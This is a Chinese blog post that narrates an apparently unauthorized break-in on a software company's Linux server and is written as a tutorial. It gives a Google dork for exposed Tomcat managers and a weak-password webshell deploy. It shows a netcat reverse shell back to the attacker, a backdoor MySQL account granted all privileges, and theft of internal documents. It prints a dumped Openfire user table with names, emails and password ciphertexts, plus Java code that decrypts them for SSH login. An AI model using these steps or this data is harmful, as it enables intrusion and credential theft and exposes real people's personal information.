鸿 网 互 联 www.68idc.cn

渗透Linux服务器过程中,临时社工进行openfire解密

来源:互联网 作者:佚名 时间:2016-05-07 10:06
要有切入点,那就是Tomcat/manager/html的管理员页面弱口令。 顺便科普一下,大家可以利用google hack来寻找tomcat页面 在浏览器中输入:intitle:Apache.Tomcat Congratulations! 大概意思是:用点号来分割title关键词,用冒号来匹配页面内容 当然如果/manage
要有切入点,那就是Tomcat/manager/html的管理员页面弱口令。
顺便科普一下,大家可以利用google hack来寻找tomcat页面
在浏览器中输入:intitle:Apache.Tomcat "Congratulations!"  
大概意思是:用点号来分割title关键词,用冒号来匹配页面内容

当然如果/manager/html页面被删,或者管理员没有配置账号密码为可用,管理界面就不能访问。
上传Deploy一个JSP大马:

Linux提权必备过程--利用webshell执行命令反弹:
netcat源文件进行编译:
  1. gcc xiaobo.c -o xiaobo
本地进行监听:
  1. nc -vv -lp 12345
复制代码
在JSP大马中进行反弹:
  1. ./xiaobo  xx.xx.xx.xx 12345
复制代码
注意:有时候会无法执行反弹,是因为文件没设置为可执行.那么就直接设置为全权限吧:
  1. chmod 777 xiaobo
复制代码


我们先收集一下系统的信息:
  1. lsb_release -a


也就是说,我们要去找Ubuntu 12.04或者内核为3.2.0-38的exploit.
一般都是去exploit-db.com这个网站上找。
可惜很不幸的是,找了几个exploit都不行。
当然我们也可以找驱动或者第三方服务进行提权,反正我是没成功过.
继续收集服务器信息。用superscan扫描开放端口:


用metasploit尝试了一下FTP和SSH的exploit和弱口令。无果
用浏览器尝试了那几个高段位的端口,发现也有个tomcat(无弱口令),以及一个sea-file团队协作管理平台。
google sea-file之后,发现是国人开发的一款开源的"分布式文件同步技术"的网盘。
仔细研究了一下该工具的安装配置,使用sqlite的嵌入数据库。上微博询问了开发团队该工具保存用户账号密码的文件位置:ccnet/peerMgr/usermgr.db。结果是文件夹ccnet无权限访问,但我还是找到一个存放账户名的seahub.db,打开看了一下:




用上面的账号+弱口令+社工成功登陆:


可以看到公司内部正在开发,或者已经完成的合同,项目计划,设计书等。可以知道这个服务器是某软件公司的。这些东西应该都是机密- -:


先找找有没有漏洞上传什么的,看了一下开发语言: C/C++Python,吓尿了 - -。服务器也是自带的什么不认识的。所以放弃。权当收集信息用。
可以看到公司的成员列表和管理员:


继续社工:
找tomcat下的工程,寻找保存的mysql密码。成功利用root密码,webshell登录mysql,(当然这里有个插曲就是我用的webshell无法连接mysql,或者不支持show databases,show tables等这些操作,所以自己重新改了源码)
  
数据库连接失败
  
  
com.mysql.jdbc.exceptions.jdbc4.MySQLNonTransientConnectionException:  Cannot load connection class because of underlying exception:  'java.lang.NumberFormatException: For input string:  "3306;User=root;Password=testxx;DatabaseName=mysql"'.
  

为了方便查看数据,就直接开启外链。这里再顺便科普一下:
为了保护服务器,我就不使用root外链。免得被不明黑阔批量扫描弱口令爆菊.
创建一个允许远程连接的用户hack,密码hack,赋予所有权限
  1. CREATE USER hack IDENTIFIED BY 'hack';
  2. grant all privileges on *.* to hack @"%" identified by "hack";
  3.  
复制代码
之后就用mysql workbench连接(开发人员专用哟~嘿嘿)
插曲:据说linux下的mysql可以利用system命令提权。我windows 命令行下远程连接mysql,尝试system user add命令失败。去mysql官方,查看官方文档,确实有system函数.BT5命令行下远程连接mysql,system user add成功,囧的是用户居然添加在我BT5上面。同学们都该知道mysql system函数的意思了吧?

回归正题:我现在要收集mysql数据库存的所有用户账号和密码,进一步来社工linux root密码进行远程ftp或者ssh操作。
解密了一些md5,基本都是弱口令。
亮点来了:openfire数据库。
看着名字我就觉得有点来头,谷歌之后得到:Openfire 是实时的基于WEB的即时消息传输平台,是原来的Jive Messenger
admin de8d41e122591e3ac5dfabf41bb8ee186cb0ec963347ae71 Administrator admin@family10.com
caifei 0db546455b7e6a8bd1905e34028ca31704ae5cf27a65e1c2 蔡飞 caifei@qq.com
chensong e54b7b46c4862dd1ea159a174eb1e26d6b6c1fac89a5dc73 陈松 chensong@qq.com
liqiang 4f21a0de9b6a32aadd0a6bd0cf53a82da6504bc85111556e 李强 liqiang4264@qq.com
liqing 0d24c065be1fdd4db3dde16d39b8907f8248a8a4a7f84c75 李青 liqing@qq.com
liuhuayi 5809dadd4631e859d995d93ff0587524f75c541ab55f23c6 刘华宜 liuhuayi@qq.com
qiulibo 8c14fda295def40ba10bcd9b78ee869ce5a9880eaa8c6eb6 邱李波 qiubibo@qq.com
xuliang ba8dc396077d18e3a5683455a92d808adb06d8ac74f31fa3 徐亮 xuliang@qq.com
zhangxin b88349048d4b55b91f9a942652b89cf36d75cc2e8ba2cfd6 张欣 zhangxin@qq.com


拿去cmd5上解密,无法识别加密类型。于是呼,本文的重点,openfire解密.
openfire也是开源的软件,密码采用的是自己设计的算法。
openfire提供二次开发。谷歌之后发现资料蛮多了。所以,我们就来搭个二次开发环境,利用openfire提供的解密类进行解密吧~
  1. Openfire是通过org.jivesoftware.util.Blowfish.java实现的加密。
  2.       使用Blowfish的encryptString(String password)和decryptString(String encryptedString)两个方法执行加解密。
  3.       可new Blowfish(String passwordKey)需要passwordKey,上哪里找?
  4.       原来在openfire的数据库中有表ofproperty,其中就有passwordKey的值,这是openfire安装时自动生成的。
  5.       openfire每次自动生成数据库的时候这个属性都是不同的,所以如果数据库变化了,原来的用户信息导入是没有用的。
  6.       可以独立使用org.jivesoftware.util.Blowfish.java进行加解密操作。
  7.  
复制代码
在eclipse中新建java工程,在官网上找到org.jivesoftware.util.Blowfish.java类,导入工程。
再写个DecryPwd用来解密。
  1. public class DecryPwd {
  2.  
  3.         /**
  4.          * @param args
  5.          */
  6.         public static void main(String[] args) {
  7.                 // TODO Auto-generated method stub
  8.                 String resultPWD = null;  
  9.         String passWordKey = "566251afC9Lk39w"; //passwordKey,从openfire数据库中读取  
  10.         Blowfish blowFish = new Blowfish(passWordKey); //根据加密key初始化  
  11.         resultPWD = blowFish.decryptString("de8d41e122591e3ac5dfabf41bb8ee186cb0ec963347ae71");   
  12.         System.out.println(resultPWD);  //返回结果  
  13.         }
  14.  
  15. }
运行成功解密!
接着就拿着账号密码去ssh啦。过程就到此。



网友评论
<